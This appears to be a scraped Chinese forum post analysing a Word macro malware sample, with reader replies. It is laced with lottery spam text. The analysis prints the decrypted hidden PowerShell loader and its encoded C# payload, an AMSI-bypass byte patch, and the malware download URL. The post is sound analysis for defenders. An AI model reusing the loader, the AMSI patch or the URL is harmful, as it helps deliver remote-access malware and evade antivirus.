吾愛破解 - LCG - LSG |安卓破解|病毒分析|huihengkj.com

 找回密碼
 注冊[Register]

QQ登錄

500彩票邀请码只需一步,快速開始

搜索
查看: 6969|回復: 151

[PC樣本分析] Word文檔宏病毒樣本分析

    [復制鏈接]
樓主
Loopher 發表于 2020-10-20 14:53 回帖獎勵
使用論壇附件上傳樣本壓縮包時必須使用壓縮密碼保護,壓縮密碼:52pojie,否則會導致論壇被殺毒軟件等誤報,論壇有權隨時刪除相關附件和帖子!
本帖最后由 Loopher 于 2020-11-13 09:52 編輯

這是惡意樣本分析的office病毒分析入門篇,這篇筆記主要記錄了如何分析Office類的宏病毒,包括如下

  • 調試VBA宏
  • 使用PowerShell ISE調試分析
  • 調試C#程序

在次之前曾逆向分析了一些.exe的病毒,但是在很多時候Office500彩票邀请码類的病毒也時常出現,介于自己對這類病毒的分析不是熟悉,因此在尋找相關內容博客和技術文檔來參考練手。

新增: sample7.z 密碼使用論壇默認解壓密碼。 注意樣本不要在物理機內使用,請使用虛擬機打開,如果被感染或者其他自負

樣本基本信息

在沙箱上可以看到這是一個Word樣本

運行時會啟動Powershell.exe csc.exe cvtre.exe這三個進程,如下

由此可以知道改程序會啟動相關的腳本執行,在VT上查詢該樣本,被標記為Downloader
地址為:

http://www.virustotal.com/gui/file/a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5/detection

500彩票邀请码根據歷史提交檢測時間分析



該樣本目前仍有有部分殺軟還不支持,看樣子一些廠商還未捕獲該樣本,下面分析一下這個樣本的功能之一下載器。

樣本分析

將樣本下載下來后,打開運行后如下提示需要開啟宏功能,如下


這里很典型的Office類病毒的慣用手法,使用VBA宏來隱藏實際功能,這里進行調試分析VBA宏。

VBA宏功能分析

500彩票邀请码為了能調試分析該宏,我們不能直接點擊Enable Content來啟動宏,調試步驟如下

  • 按住shift鍵
  • 點擊開啟宏功能
  • 釋放shift鍵
  • 按下alt+f11打開宏調試器
  • 調試宏功能
    打開宏調試器之后如下

    雙擊打開宏代碼后如下

    很明顯該程序被混淆了,將代碼復制出來在網上格式化后得到如下程序

    同樣代碼依然被混淆了,這里直接調試在運行時獲取結果。

調試VBA

首先在Docuement_Open函數的入口設置斷點(直接點擊側邊的位置即可),如下

然后點擊運行按鈕后如下(此時程序進入debug狀態)


緊接著單步步入(F8)進入到函數Lethbridge(ByVal Garniture As String)內,可以看到該函數有一個參數,在入口的位置傳入的值是
de9a2c49a42b6

從函數的聲明可以知道該函數返回一個String值,繼續單步進入后來到Lethbridge內之后,將變量窗口打開,在View-->Locals Windows如下

打開后就能觀察到每個變量的值如下


經過調試分析后知道,Lethbridge函數是一個字符串解密函數,傳入的參數應該是待解密的字符串值,第一次解密出的內容

Lethbridge : "winmgmts:\\.\root\cimv2:Win32_Process" : String

如下

這里主要是解密并獲取一個WMI 的Win32_Process對象500彩票邀请码,這個對象在官網上的描述為

# http://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes
可以通過這個對象來創建進程,獲取進程信息等

繼續往下調試分析
在獲取Win32_Process字符串之后調用GetObject函數獲取指定的對象并將獲取的對象傳入到調用函數SnottineSS內,該函數也會解密出一個字符串內容并通過
Win32_Process.Create函數啟動一個進程,如下


繼續往下分析后知道,第二次解密出來的內容是一個PowerShell腳本程序,如下

到了這的時候,此時程序已經解密了PowerShell程序,解密內容如下

"powershell -WindowStyle Hidden 
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return "

手動格式化后如下

powershell -WindowStyle Hidden 

        function y171e {
        param($z4627)$k58be9='a57157c';
        $yce74a='';
        for ($i=0; $i -lt $z4627.length;$i+=2)
        {
        $vc2775=[convert]::ToByte($z4627.Substring($i,2),16);
        $yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
        }
        return 

從第一條命令可以知道,改程序會在啟動時將PowerShell窗口隱藏并執行后面的程序,這里啟動powerShell ISE工具進行 調試,如下


500彩票邀请码 這里為了能運行,使用如下命令調用,如下

function y171e

運行后程序報錯,如下

這里是少了參數,腳本還不夠完全應該在啟動PowerShell后應該就能正常了,繼續單步執行,繼續往下不要再單步 步入(F8)

在繼續單步調試后,觀察到ProcessHacker內的進程列表出現了PowerShell

此時將PowerShell程序懸掛住不繼續執行,直接在ProcessHacker內選中進程并右鍵,點擊懸掛后即可。如果觀察及時,可以看到csc.exe進程出現一次
觀察此時的PowerShell進程后如下 點擊進程后右鍵-->屬性(Properties)->Command line


復制出來這個PowerShell腳本,如下

powershell -WindowStyle Hidden 
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return $yce74a;}
$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
$z24c5732 = y171e($z24c573);
Add-Type -TypeDefinition $z24c5732;
[yba2983]::c193b();

可以看到程序調用了y171e,其中傳入的值是$z24c573,從功能上來分析,這里應該是一個解密過程,緊接著調用
Add-Type -TypeDefinition 表明解密處理的內容是一個.Net的程序,這里是允許該程序加載.Net的框架庫

# 參考
http://renenyffenegger.ch/notes/Windows/PowerShell/command-inventory/noun/type/add/index

接著就通過[yba2983]::c193b();來調用執行,這是通過PowerShell程序調用.Net程序的類進行加載執行的一個語法

# 參考
http://blog.adamfurmanek.pl/2016/03/19/executing-c-code-using-powershell-script/

PowerShell功能分析

這里調用PowerShell調試器將解密出的內容打印出來并進行分析,貼入代碼到PowerShell ISE內,并設置斷點在Add-Type的位置,同時在上一行打印$z24c5732的值,如下


此時運行該程序后輸出如下內容

經過格式化之后得到如下程序

程序是被混淆了,閱讀起來也比較費勁,因此選擇進行調試解密出來的.Net程序

C#程序功能分析

Visual Studio 2015內新建一個C#控制臺程序,并將解密出來的.Net代碼拷貝到程序內,如下

首先程序會導出kernel32的API供給后續程序使用,如上圖程序內的注釋可以知道,分別導出了

         [DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73);// GetProcAddress
        [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea);//LoadLibrary_function
        [DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39); //VirtualProtect
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e); //RtlMoveMemory

接著先調用y171e函數執行字符串解密功能,這里會傳入的字符串是待解密字符串,最后會返回解密的內容,如下是解密函數

解密過程就是遍歷傳入的字符串然后進行異或后返回最終結果,程序接著會進行一系列的判斷然后分別調用GetProcAddress函數,這個API通常是用來獲取指定的模塊的導出函數的指針,由此猜到了第二個字符串解密應該是一個api的解密,緊跟著就判斷獲取的函數是否為空,如果不為空,就調用VirtualProtect函數修改對應的內存屬性PAGE_EXECUTE_READWRITE = 0x40500彩票邀请码,之后調用Marshal函數分配內存并將

                                                Byte[] je1ed = {
                        0x31,
                        0xff,
                        0x90
                                                                                                };
    復制到導出的API函數內,這里就很奇怪,為什么會這么做?經過搜索后發現這里是用來**繞過AMSI的檢測功能**

    ```shell
    # 什么是AMSI
    AMSI是微軟的一個反病毒功能,全稱為Antimalware Scan Interface (AMSI),用戶可以將該功能集成到程序內可以防護用戶數據以病毒的入侵。
    ```

    對應的代碼片段

        ## 代碼地址
        http://gist.github.com/TheWover/ad89ed9f402c7bdf1d0eda3cb99c458c

根據上面的POC代碼知道,這里要對amsi.dll打補丁的函數是AmsiScanBuffer,病毒對應的代碼如下

可以確定這個程序首先會對AMSI執行打補丁防止被掃描到。最后準備一個文件路徑并調用WebClient函數執行文件下載和執行下載的文件。這里這個C#500彩票邀请码函數就是一個下載核心的文件并啟動運行。

下面進入調試步驟,首先看到第一個解密出來的就是amsi.dll如下


接著是判斷amsi.dll是否不為空,如果不為空則繼續讀取AmsiScanBuffer的指針,這里的amsi.dll是為空

接著準備待下載的文件路徑,解密拼接后的值如下

"C:\\Users\\QWER\\AppData\\Roaming\\c9255.exe"

500彩票邀请码解密出URL的值,如下

"http://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe"

500彩票邀请码下載保存的文件為

大小為0,應該是地址不能訪問了,這里就不能啟動這個核心的功能了。手動嘗試訪問這個地址發下掛了,應該是被曝光之后被關閉了。

將提取的url到微步上查詢,微步被標記為了可疑狀態,但是只有Google的檢測出來

http://s.threatbook.cn/report/url/72d885d5b352c606949c65c8d6cf2691

在奇安信的威脅研判系統查詢到這是一個遠控病毒

http://ti.qianxin.com/v2/search?type=domain&value=cannabispropertybrokers.com

總結

這個病毒的運行需要開啟宏才能執行,執行流程如下

這個病毒分析的難點還是在于調試VBA程序、powershell程序、C#這三個過程,在分析的過程中也能熟悉一些宏病毒的一些常規管用手法,一部分廠商不能查殺到可能是該病毒的動態打補丁了amsi.dll繞過了相關檢測。

特征

樣本特征

MD5: 9eafc9090d71b382af7c8c04e83d61d2

URL

http://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe

參考

sample.7z

25.81 KB, 下載次數: 6, 下載積分: 吾愛幣 -1 CB

免費評分

參與人數 63吾愛幣 +58 熱心值 +54 收起 理由
十六Y + 1 + 1 用心討論,共獲提升!
n1gels + 1 + 1 用心討論,共獲提升!
tjw1203 + 1 + 1 謝謝@Thanks!
cefu + 1 + 1 熱心回復!!
Tombl7 + 1 + 1 謝謝@Thanks!
4-SR + 1 + 1 熱心回復!
lengz123 + 1 我很贊同!
DefeatGhosts + 1 + 1 我很贊同!
WAlitudealiy + 1 用心討論,共獲提升!
清華必修 + 1 + 1 熱心回復!
Raurean + 1 + 1 我很贊同!
iMrZeng + 1 + 1 熱心回復!
a2416b + 1 謝謝@Thanks!
sdwf + 1 用心討論,共獲提升!
wanglalaen + 1 用心討論,共獲提升!
霏映 + 1 熱心回復!
天際浮云 + 1 + 1 我很贊同!
Jetset + 1 + 1 用心討論,共獲提升!
無言Y + 1 + 1 我很贊同!
零地帶 + 1 + 1 用心討論,共獲提升!
sunxiansheng + 1 我很贊同!
teng641105050 + 1 用心討論,共獲提升!
lucky6666 + 1 + 1 我很贊同!
美麗的滲透者 + 1 用心討論,共獲提升!
jstt552200 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
QingZuo + 1 + 1 用心討論,共獲提升!
prontosil + 1 熱心回復!
crazycannon + 1 + 1 用心討論,共獲提升!
直醬 + 1 + 1 太厲害了!!!膜拜orz
chw1999 + 1 用心討論,共獲提升!
Thefirst1 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
Algorithms + 1 + 1 我很贊同!
抱歉、 + 1 用心討論,共獲提升!
poisonbcat + 1 + 1 謝謝@Thanks!
tzxinqing + 2 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
potatomato + 1 + 1 用心討論,共獲提升!
Forbbiden + 1 + 1 用心討論,共獲提升!
wfik + 1 大神啊,感謝分享
lynxtang + 1 + 1 厲害厲害,學習了
帛青赤 + 1 + 1 我很贊同!
0615 + 1 + 1 謝謝@Thanks!
solymx + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
lemon__star + 1 + 1 我很贊同!
明明欣雨 + 1 + 1 厲害,學習了
837468220 + 1 + 1 用心討論,共獲提升!
twostudy + 1 + 1 我很贊同!
我居北海 + 1 + 1 厲害
獨行風云 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
自強 + 1 + 1 謝謝@Thanks!
fengbolee + 1 + 1 用心討論,共獲提升!
zsq + 1 + 1 謝謝@Thanks!
azcolf + 1 + 1 用心討論,共獲提升!
窈窕君子 + 1 + 1 熱心回復!
wuliwuli + 1 熱心回復!
NanKeYM + 1 + 1 嘆為觀止啊,可以,學到了
feifanll + 1 + 1 我很贊同!
ZZU隔壁老吳 + 1 + 1 謝謝@Thanks!
bei133 + 1 + 1 謝謝@Thanks!
zhczf + 1 + 1 我很贊同!
zpy2 + 1 + 1 我很贊同!
昨夜星辰恰似你 + 1 + 1 用心討論,共獲提升!
羅科帷幕 + 1 + 1 用心討論,共獲提升!
luoxiao + 1 用心討論,共獲提升!

查看全部評分

發帖前要善用論壇搜索500彩票邀请码功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
DefeatGhosts 發表于 2020-11-19 10:27
約定的童話 發表于 2020-10-23 15:39
excel里面VBA代碼混淆樓主有啥好建議沒?

word和excel沒區別,都是宏代碼而已,混淆了就調試,看關鍵的字符串,宏代碼里用的較多的例如COM對象,WMI等,找到這些相關的關鍵詞,例如script shell createobject 等一類的關鍵詞,然后直接下斷執行到此處,就可以知道主要的目的是啥了。
推薦
無量那由他劫 發表于 2020-11-9 11:11
Loopher 發表于 2020-11-7 18:04
樣本分析完了,核心的payload并未獲取到,猜測這個樣本可能是信息竊取,或者勒索病毒。啟用了宏之后offic ...

那該怎么辦,每次做好表就自動保存xslm文件,然后打開剛剛做的表都沒了,頭大,重裝系統也不行,全盤格式化,又有重要文件無法全盤格式化
沙發
JuncoJet 發表于 2020-10-20 15:21
3#
Hmily 發表于 2020-10-20 15:27
圖片盜鏈了,上傳論壇本地吧。
4#
深藍海瓊 發表于 2020-10-20 15:35
學習了,感謝
5#
azusys 發表于 2020-10-20 15:52
圖片掛了··
6#
Moofans 發表于 2020-10-20 16:22
感謝分享,學習了!
7#
 樓主| Loopher 發表于 2020-10-20 16:53 |樓主
Hmily 發表于 2020-10-20 15:27
圖片盜鏈了,上傳論壇本地吧。

已經上傳了,我自己能看到沒問題,沒想到其他人看不到
8#
笨笨家的唯一 發表于 2020-10-20 18:14
不明覺厲,大佬666
9#
昨夜星辰恰似你 發表于 2020-10-20 19:04
ti.qianxin.com  沙箱是奇安信的哦
10#
 樓主| Loopher 發表于 2020-10-20 20:54 |樓主
昨夜星辰恰似你 發表于 2020-10-20 19:04
ti.qianxin.com  沙箱是奇安信的哦

嘿嘿,弄錯了,改一下,
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:本版塊禁止灌水或回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|處罰記錄|聯系我們|吾愛破解 - LCG - LSG ( )

GMT+8, 2020-11-27 05:31

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回復 返回頂部 返回列表

500彩票邀請碼-彩經網